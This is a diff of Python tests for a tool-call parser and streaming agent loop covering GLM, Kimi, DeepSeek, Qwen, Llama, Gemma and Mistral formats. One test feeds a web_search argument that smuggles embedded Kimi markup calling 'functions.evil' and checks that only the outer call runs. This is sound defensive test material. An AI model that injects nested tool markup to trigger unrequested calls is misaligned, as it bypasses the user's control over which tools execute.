+        assert args == {"query": "weather Tokyo"}
+
+    def test_glm_mixed_types_decode_correctly(self):
+        # Per the chat_template.jinja, strings are emitted raw and non-strings are JSON-encoded.
+        import json as _json
+
+        text = (
+            "<tool_call>complex_function\n"
+            "<arg_key>name</arg_key>\n<arg_value>John Doe</arg_value>\n"
+            "<arg_key>age</arg_key>\n<arg_value>30</arg_value>\n"
+            "<arg_key>active</arg_key>\n<arg_value>true</arg_value>\n"
+            "<arg_key>score</arg_key>\n<arg_value>95.5</arg_value>\n"
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args == {"name": "John Doe", "age": 30, "active": True, "score": 95.5}
+
+    def test_glm_multi_call_back_to_back(self):
+        # GLM emits parallel calls as consecutive ``<tool_call>...
+        # </tool_call>`` blocks with no outer envelope.
+        text = (
+            "<tool_call>a\n<arg_key>x</arg_key>\n<arg_value>1</arg_value>\n</tool_call>"
+            "<tool_call>b\n<arg_key>y</arg_key>\n<arg_value>2</arg_value>\n</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_glm_unclosed_tool_call_does_not_lose_value(self):
+        # Truncated mid-stream (no </tool_call>) -- the parser must
+        # still surface what it found rather than dropping the call.
+        text = "<tool_call>web_search\n<arg_key>query</arg_key>\n<arg_value>partial</arg_value>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_glm_does_not_break_qwen_path(self):
+        # Real Qwen emission must still be parsed by the Qwen branch,
+        # not silently misrouted to GLM (the marker is shared).
+        text = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_glm_strip_markup(self):
+        text = (
+            "before "
+            "<tool_call>a\n<arg_key>x</arg_key>\n<arg_value>1</arg_value>\n</tool_call>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_glm_zero_arg_inline_call(self):
+        # GLM 4.7 emits a no-argument call inline as ``<tool_call>name</tool_call>`` (name followed
+        # straight by the close tag, no \n / <arg_key>).
+        import json as _json
+
+        text = "<tool_call>get_current_date</tool_call>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_current_date"
+        assert _json.loads(result[0]["function"]["arguments"]) == {}
+
+    def test_glm_zero_arg_call_in_parallel_batch(self):
+        # A no-arg call alongside a normal one must not make either vanish.
+        text = (
+            "<tool_call>get_current_date</tool_call>"
+            "<tool_call>get_weather\n<arg_key>city</arg_key>\n"
+            "<arg_value>Tokyo</arg_value></tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "get_current_date"
+        assert result[1]["function"]["name"] == "get_weather"
+
+    def test_glm_string_value_whitespace_preserved(self):
+        # The template emits string args verbatim, so significant leading / trailing whitespace
+        # (code, diffs) must survive.
+        import json as _json
+
+        text = (
+            "<tool_call>run\n<arg_key>code</arg_key>\n"
+            "<arg_value>    indented code    </arg_value></tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = _json.loads(result[0]["function"]["arguments"])
+        assert args == {"code": "    indented code    "}
+
+
+class TestParserKimi:
+    """Kimi K2 / Moonshot coverage. ASCII pipes only (NOT full-width).
+    Name arrives as ``functions.NAME:IDX``; the parser strips the
+    prefix and the index to recover the bare callable name while
+    preserving the full id for round-trip rendering."""
+
+    def test_kimi_simple_call(self):
+        import json as _json
+
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.special_function:0"
+            "<|tool_call_argument_begin|>"
+            '{"arg1": 1}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        # Bare name recovered; full id preserved verbatim.
+        assert result[0]["function"]["name"] == "special_function"
+        assert result[0]["id"] == "functions.special_function:0"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_outer_tool_call_with_embedded_kimi_marker_parses_outer(self):
+        # A Qwen/Hermes <tool_call> whose argument contains literal Kimi markup (a user asking
+        # about that syntax) must execute the OUTER call, not the embedded marker via the ...
+        text = (
+            '<tool_call>{"name":"web_search","arguments":{"query":'
+            '"explain <|tool_call_begin|>functions.evil:0'
+            '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}'
+            "</tool_call>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_genuine_kimi_call_without_envelope_still_parses(self):
+        # Control: a real Kimi call with no leading <tool_call> envelope must
+        # still go through the pre-pass.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.web_search:0"
+            '<|tool_call_argument_begin|>{"query":"x"}<|tool_call_end|>'
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_kimi_multi_call_with_index(self):
+        # Multiple consecutive calls inside a single section, each
+        # with its own monotonically incrementing ``:IDX``.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.read_file:0"
+            "<|tool_call_argument_begin|>"
+            '{"path":"a"}'
+            "<|tool_call_end|>"
+            "<|tool_call_begin|>functions.web_search:1"
+            "<|tool_call_argument_begin|>"
+            '{"query":"x"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "read_file"
+        assert result[0]["id"].endswith(":0")
+        assert result[1]["function"]["name"] == "web_search"
+        assert result[1]["id"].endswith(":1")
+
+    def test_kimi_dotted_name_keeps_full_dotted_name(self):
+        # A dotted Kimi id keeps its FULL name after stripping only the ``functions.`` prefix and
+        # ``:idx`` suffix -- matching current vLLM ...
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>a.b.c:2"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "a.b.c"
+
+    def test_kimi_dotted_mcp_name_with_functions_prefix(self):
+        # ``functions.mcp.server-list:0`` must resolve to ``mcp.server-list``
+        # (only the ``functions.`` prefix and ``:idx`` are removed).
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.mcp.server-list:0"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp.server-list"
+
+    def test_kimi_multi_call_recovers_when_first_end_marker_missing(self):
+        # First call omits its <|tool_call_end|>; the second must still parse.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.read_file:0"
+            "<|tool_call_argument_begin|>"
+            '{"path":"a"}'
+            "<|tool_call_begin|>functions.web_search:1"
+            "<|tool_call_argument_begin|>"
+            '{"query":"x"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["read_file", "web_search"]
+
+    def test_kimi_handles_unclosed_section(self):
+        # End marker missing -- the parser must still extract the call.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.foo:0"
+            "<|tool_call_argument_begin|>"
+            '{"a":1}'
+            "<|tool_call_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "foo"
+
+    def test_kimi_strip_markup(self):
+        text = (
+            "before "
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.x:0"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_kimi_signal_wakes_streaming(self):
+        text = "<|tool_calls_section_begin|>..."
+        assert has_tool_signal(text)
+
+    def test_kimi_call_without_section_wrapper(self):
+        # llama.cpp makes the ``<|tool_calls_section_begin|>`` wrapper optional -- Kimi K2 can emit
+        # a bare ``<|tool_call_begin|>`` call.
+        import json as _json
+
+        text = (
+            "<|tool_call_begin|>functions.execute_command:0"
+            "<|tool_call_argument_begin|>"
+            '{"cmd":"ls"}'
+            "<|tool_call_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "execute_command"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"cmd": "ls"}
+
+    def test_kimi_malformed_json_recovers_later_calls(self):
+        # A call with malformed / truncated JSON must not drop the valid calls that follow it in
+        # the same section (the bad call is skipped, the good one is recovered).
+        import json as _json
+
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.a:0"
+            '<|tool_call_argument_begin|>{"city":"Beijing"'  # missing closing brace
+            "<|tool_call_end|>"
+            "<|tool_call_begin|>functions.b:1"
+            '<|tool_call_argument_begin|>{"city":"Shanghai"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "b"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Shanghai"}
+
+
+class TestParserCrossFormatRouting:
+    """Ensure the per-format dispatch order doesn't misroute any
+    family. Real emissions for each new family + every old family
+    must still parse correctly when intermixed."""
+
+    def test_dispatch_routes_each_family_correctly(self):
+        cases = [
+            (
+                "Qwen",
+                '<tool_call>{"name":"a","arguments":{"x":1}}</tool_call>',
+                "a",
+            ),
+            (
+                "DeepSeek V3.1",
+                "<｜tool▁calls▁begin｜>"
+                "<｜tool▁call▁begin｜>get_time"
+                "<｜tool▁sep｜>"
+                '{"city":"Tokyo"}'
+                "<｜tool▁call▁end｜>"
+                "<｜tool▁calls▁end｜>",
+                "get_time",
+            ),
+            (
+                "GLM",
+                "<tool_call>web_search\n"
+                "<arg_key>q</arg_key>\n<arg_value>x</arg_value>\n"
+                "</tool_call>",
+                "web_search",
+            ),
+            (
+                "Kimi",
+                "<|tool_calls_section_begin|>"
+                "<|tool_call_begin|>functions.add:0"
+                "<|tool_call_argument_begin|>"
+                '{"a":1}'
+                "<|tool_call_end|>"
+                "<|tool_calls_section_end|>",
+                "add",
+            ),
+        ]
+        for label, text, expected_name in cases:
+            result = parse_tool_calls_from_text(text)
+            assert len(result) == 1, f"{label}: parser missed the call"
+            assert result[0]["function"]["name"] == expected_name, (
+                f"{label}: got {result[0]['function']['name']!r}, " f"expected {expected_name!r}"
+            )
+
+    def test_all_new_markers_in_tool_xml_signals(self):
+        # The safetensors / MLX streaming buffer must wake on every supported emission marker --
+        # otherwise the BUFFERING state leaks tool content to the user before parse.
+        from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+        for marker in (
+            "<｜tool▁calls▁begin｜>",
+            "<｜tool▁call▁begin｜>",
+            "<|tool_calls_section_begin|>",
+            "<|tool_call_begin|>",
+        ):
+            assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}"
+
+
 def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     captured_tool_names: list[list[str]] = []
     exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
@@ -347,6 +1817,449 @@ def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events)
 
 
+def test_spent_one_shot_rehearsal_repeat_is_detected_not_blank_continuation():
+    # A spent one-shot (render_html) stays in the ORIGINAL tool list; detection is gated on
+    # that list (matching the strip gate) so a re-emitted repeat is drained and routed to the
+    # repeat no-op instead of stripped into a blank continuation.
+    exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+    turns = iter(
+        [
+            [
+                '<tool_call>{"name":"render_html","arguments":{"code":"<html>one</html>"}}</tool_call>'
+            ],
+            ['render_html[ARGS]{"code":"<html>two</html>"}'],  # spent one-shot rehearsal
+            ["The chart is above."],
+        ]
+    )
+
+    def gen(_messages, *, active_tools = None):
+        try:
+            chunks = next(turns)
+        except StopIteration:
+            return
+        acc = ""
+        for c in chunks:
+            acc += c
+            yield acc
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = gen,
+            messages = [{"role": "user", "content": "make a chart"}],
+            tools = [
+                {"type": "function", "function": {"name": "render_html"}},
+                {"type": "function", "function": {"name": "web_search"}},
+            ],
+            execute_tool = exec_fn,
+            max_tool_iterations = 5,
+        )
+    )
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    # render_html ran exactly once; the repeat was a no-op, not a second execution.
+    assert exec_fn.calls == [("render_html", {"code": "<html>one</html>"})], exec_fn.calls
+    # The loop continued past the repeat to the real answer (not a blank continuation).
+    assert any("The chart is above." in t for t in contents), contents
+    # The raw rehearsal markup never leaked as visible content.
+    assert not any("render_html[ARGS]" in t for t in contents), contents
+
+
+def test_rehearsal_call_name_is_not_streamed_before_args():
+    # A rehearsal whose name and [ARGS] arrive together must drain, not stream the bare name.
+    loop, exec_fn = _make_loop(
+        turns = [['web_search[ARGS]{"query":"cats"}'], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_rehearsal_call_name_split_before_args_is_not_streamed():
+    # Finding 5: name and [ARGS] in separate chunks -- the bare name is held until [ARGS] arrives.
+    loop, exec_fn = _make_loop(
+        turns = [["web_search", '[ARGS]{"query":"cats"}'], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_plain_word_matching_no_tool_still_streams():
+    # The prefix guard must not swallow prose: a non-tool bare word streams.
+    loop, _exec = _make_loop(
+        turns = [["weather", " is nice today."]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "weather is nice today." in contents, contents
+
+
+def test_rehearsal_name_after_prose_in_streaming_is_not_streamed():
+    # After prose has streamed (STREAMING state), a split rehearsal name must still be held.
+    loop, exec_fn = _make_loop(
+        turns = [
+            # _make_loop accumulates these deltas into cumulative snapshots.
+            ["Let me think. ", "I will search ", "web_search", '[ARGS]{"query":"cats"}'],
+            ["Found."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_rehearsal_name_after_prose_same_chunk_in_streaming_is_not_streamed():
+    # Prose then ``web_search[ARGS]{...}`` in one chunk: the boundary is pulled back over the name.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ["Sure. ", 'now web_search[ARGS]{"query":"cats"}'],
+            ["Found."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_initial_buffer_flush_holds_split_rehearsal_name():
+    # First flush out of BUFFERING applies the same trailing-name hold as STREAMING.
+    loop, exec_fn = _make_loop(
+        turns = [["I will use python", '[ARGS]{"code":"print(1)"}'], ["done"]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("python", {"code": "print(1)"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("python" in t for t in contents), contents
+
+
+def test_think_rehearsal_streams_monotonically_and_keeps_reasoning():
+    # A think rehearsal streams the same text the final strip keeps: cumulative content is
+    # monotonically non-decreasing and ends with the markup intact.
+    loop, exec_fn = _make_loop(
+        turns = [["<think>plan ", 'search[ARGS]{"q":"x"}', "</think> visible"]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert exec_fn.calls == [], exec_fn.calls
+    assert all(len(b) >= len(a) for a, b in zip(contents, contents[1:])), contents
+    final = contents[-1] if contents else ""
+    assert 'search[ARGS]{"q":"x"}' in final, contents
+    assert "visible" in final, contents
+
+
+def test_plain_answer_ending_with_tool_name_word_is_preserved():
+    # End-of-stream flush: a plain answer ending on a tool-name word is prose, not dropped.
+    loop, exec_fn = _make_loop(
+        turns = [["I think ", "you should ", "web_search"]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any(t.rstrip().endswith("web_search") for t in contents), contents
+
+
+def test_long_tool_name_split_rehearsal_is_not_capped_and_executes():
+    # Finding 10/11: an MCP name longer than the buffer cap, split before [ARGS], is still
+    # held (self-bounding prefix); no leak and the call executes.
+    from core.inference.safetensors_agentic import _MAX_BUFFER_CHARS
+
+    name = "mcp__github__create_pull_request"
+    assert len(name) >= _MAX_BUFFER_CHARS, len(name)
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([[name, name + '[ARGS]{"x":1}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": name}}],
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [(name, {"x": 1})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any(name in t for t in contents), contents
+
+
+def test_unrestricted_mode_split_rehearsal_name_is_not_streamed():
+    # Finding 6: unrestricted mode treats any bare identifier as a possible rehearsal NAME.
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([["web_search", 'web_search[ARGS]{"q":"x"}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [],  # unrestricted
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_unrestricted_mode_split_after_bracket_is_not_streamed():
+    # Unrestricted mode: a chunk split right after ``NAME[`` is still held (parity with the
+    # restricted-mode startswith hold).
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([["web_search[", 'web_search[ARGS]{"q":"x"}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [],  # unrestricted
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search[" in t for t in contents), contents
+
+
+def test_unrestricted_mode_plain_prose_still_streams():
+    # The unrestricted hold releases a held identifier once the rest of the sentence follows.
+    def st(_messages, active_tools = None):
+        for snap in ("Hello", "Hello there friend."):
+            yield snap
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [],
+            execute_tool = FakeExecuteTool([]),
+            max_tool_iterations = 1,
+        )
+    )
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Hello there friend." in contents, contents
+
+
+def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call():
+    # A late call caught by the safety net: an unclosed ``<tool_call>`` heals only with Auto-Heal on;
+    # off, the safety net must not pass ``allow_incomplete=True`` and execute a truncated call.
+    prose = "Sure, let me look that up for you right now. "
+    incomplete = '<tool_call>{"name":"web_search","arguments":{"query":"weather in Sydney"}}'
+
+    loop_off, exec_off = _make_loop(
+        turns = [[prose, incomplete], ["Final answer."]],
+        exec_results = ["RESULT"],
+        auto_heal_tool_calls = False,
+        max_tool_iterations = 3,
+    )
+    events_off = _collect_events(loop_off)
+    assert exec_off.calls == [], "disabled Auto-Heal must not execute a healed incomplete call"
+    assert not [e for e in events_off if e.get("type") == "tool_start"]
+
+    loop_on, exec_on = _make_loop(
+        turns = [[prose, incomplete], ["Final answer."]],
+        exec_results = ["RESULT"],
+        auto_heal_tool_calls = True,
+        max_tool_iterations = 3,
+    )
+    _collect_events(loop_on)
+    assert exec_on.calls == [("web_search", {"query": "weather in Sydney"})], exec_on.calls
+
+
+def test_bare_json_tool_call_is_not_streamed_as_content():
+    # Llama-3.2 ``custom_tools`` bare form ``{"name":..,"parameters":..}`` carries no
+    # XML signal. The loop must BUFFER it until the object closes and execute it via
+    # the safety net, never leaking the raw JSON to streaming clients as content.
+    bare = '{"name":"web_search","parameters":{"query":"cats"}}'
+    loop, exec_fn = _make_loop(
+        turns = [[bare], ["Here are the results."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t or "web_search" in t for t in contents), contents
+    assert any("Here are the results." in t for t in contents)
+
+
+def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call():
+    # Markerless JSON whose "name" is not an enabled tool (e.g. a person record
+    # ``{"name":"Alice",...}``) must be shown as the answer, not misread as a call
+    # to a disabled tool and dropped. _make_loop enables web_search/python/terminal.
+    answer = '{"name":"Alice","parameters":{"age":30}}'
+    loop, exec_fn = _make_loop(turns = [[answer]], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents
+
+
+def test_bare_json_tool_call_split_across_chunks_is_not_streamed():
+    # Same as above but the bare object arrives split mid-key, so the buffer is
+    # held open across chunks before it balances.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ['{"name":"web_', 'search","parameters":{"query":"cats"}}'],
+            ["Done."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t or "web_search" in t for t in contents), contents
+
+
+def test_gemma_wrapperless_call_is_not_streamed_as_content():
+    # Gemma 4 wrapper-less ``call:NAME{...}`` has no XML signal; the loop must hold
+    # it (BUFFERING) and execute it, never streaming the raw call text.
+    loop, exec_fn = _make_loop(
+        turns = [["call:web_search{query:cats}"], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call:web_search" in t for t in contents), contents
+
+
+def test_gemma_wrapperless_call_with_whitespace_is_suppressed_when_streamed():
+    # Gemma may emit ``call : NAME{...}`` with whitespace around the colon, split across stream
+    # chunks.
+    loop, exec_fn = _make_loop(
+        turns = [["call", " : ", "web_search", "{query:cats}"], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call" in t for t in contents), contents
+
+
+def test_long_gemma_tool_name_is_not_streamed_as_content():
+    # A tool name longer than the small buffer cap (OpenAI 64 chars, MCP longer)
+    # must still be held: the ``call:NAME`` prefix keeps buffering until ``{``
+    # instead of leaking ``call:longname`` as visible text.
+    long_name = "mcp__github__list_repository_issues"  # 35 chars
+    turns = iter([list('call:%s{repo:"octo/hello"}' % long_name), ["Done."]])
+
+    def _gen(_messages):
+        try:
+            chunks = next(turns)
+        except StopIteration:
+            return
+        acc = ""
+        for c in chunks:
+            acc += c
+            yield acc
+
+    exec_fn = FakeExecuteTool(["RESULT"])
+    loop = run_safetensors_tool_loop(
+        single_turn = _gen,
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": long_name}}],
+        execute_tool = exec_fn,
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [(long_name, {"repo": "octo/hello"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call:" in t for t in contents), contents
+
+
+def test_leading_json_answer_is_not_dropped():
+    # A leading ``{...}`` that is NOT a tool call must still surface as content:
+    # the bare-JSON hold can only ever delay it to end-of-object, never drop it.
+    obj = '{"answer": 42, "note": "done"}'
+    loop, exec_fn = _make_loop(
+        turns = [[obj]],
+        exec_results = [],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == []
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any('"answer"' in t for t in contents), contents
+
+
+def _reprompt_loop(*, auto_heal_tool_calls):
+    """Drive one restricted tool with an intent-only first turn to exercise the nudge; returns conversations and events."""
+    captured: list[list] = []
+
+    def fake_single_turn(messages, active_tools = None):
+        captured.append(list(messages))
+        if len(captured) == 1:
+            yield "I'll search for that now."  # forward-looking intent, no call
+        else:
+            yield "Final answer."
+
+    exec_fn = FakeExecuteTool([])
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = fake_single_turn,
+            messages = [{"role": "user", "content": "find X"}],
+            tools = [{"type": "function", "function": {"name": "search_knowledge_base"}}],
+            execute_tool = exec_fn,
+            auto_heal_tool_calls = auto_heal_tool_calls,
+            # Unsloth always nudges (always-on for the Unsloth inference paths); the
+            # API opts in per request. Model the Unsloth caller here.
+            nudge_tool_calls = True,
+            max_tool_iterations = 3,
+        )
+    )
+    return captured, events
+
+
+def test_reprompt_names_only_active_tools_not_hardcoded():
+    # The plan-without-action nudge must name the tools actually enabled, never the
+    # old hardcoded ``web_search``/``python`` (which a restricted set would reject).
+    captured, _events = _reprompt_loop(auto_heal_tool_calls = True)
+    assert len(captured) >= 2, "intent prose should have triggered a re-prompt turn"
+    reprompt = captured[1][-1]
+    assert reprompt["role"] == "user"
+    assert "search_knowledge_base" in reprompt["content"]
+    assert "web_search" not in reprompt["content"]
+    assert "python" not in reprompt["content"]
+
+
+def test_reprompt_suppressed_when_auto_heal_disabled():
+    # With Auto-Heal off the safetensors nudge must stay silent for backend parity
+    # with the GGUF loop, so only the single initial generation runs.
+    captured, events = _reprompt_loop(auto_heal_tool_calls = False)
+    assert len(captured) == 1, captured
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any("search for that" in t for t in contents)
+
+
 class TestLoopBasic:
     def test_plain_answer(self):
         # No tool XML; loop should yield content then status="".
@@ -406,6 +2319,154 @@ class TestLoopBasic:
         contents = [e for e in events if e["type"] == "content"]
         assert "Result: 1" in contents[-1]["text"]
 
+    def test_llama3_python_tag_form(self):
+        # The agentic loop must recognise Llama-3's <|python_tag|>
+        # marker, drain the rest of the turn, and execute the call.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|python_tag|>web_search.call(",
+                    'query="weather in Tokyo"',
+                    ")",
+                ],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather in Tokyo"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert "sunny" in contents[-1]["text"].lower()
+
+    def test_llama3_bare_json_form_fires_tool(self):
+        # Llama-3.1 / 3.2 emit a bare-JSON tool call
+        # ``{"name":..,"parameters":..}`` with NO XML signal. The loop's
+        # safety-net parse must still fire the tool instead of treating the
+        # turn as "planned without calling tools" and re-prompting the model
+        # into giving up. Regression for the has_tool_signal gate that
+        # dropped these; GGUF's llama-server parses them natively.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['{"name": "web_search", "parameters": {"query": "weather in SF"}}'],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 18C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather in SF"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert "sunny" in contents[-1]["text"].lower()
+
+    def test_mistral_pre_v11_form(self):
+        # Pre-v11 Mistral emission: ``[TOOL_CALLS] [{...}]``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    '[TOOL_CALLS] [{"name":"web_search",',
+                    '"arguments":{"query":"hi"},"id":"abc"}]',
+                ],
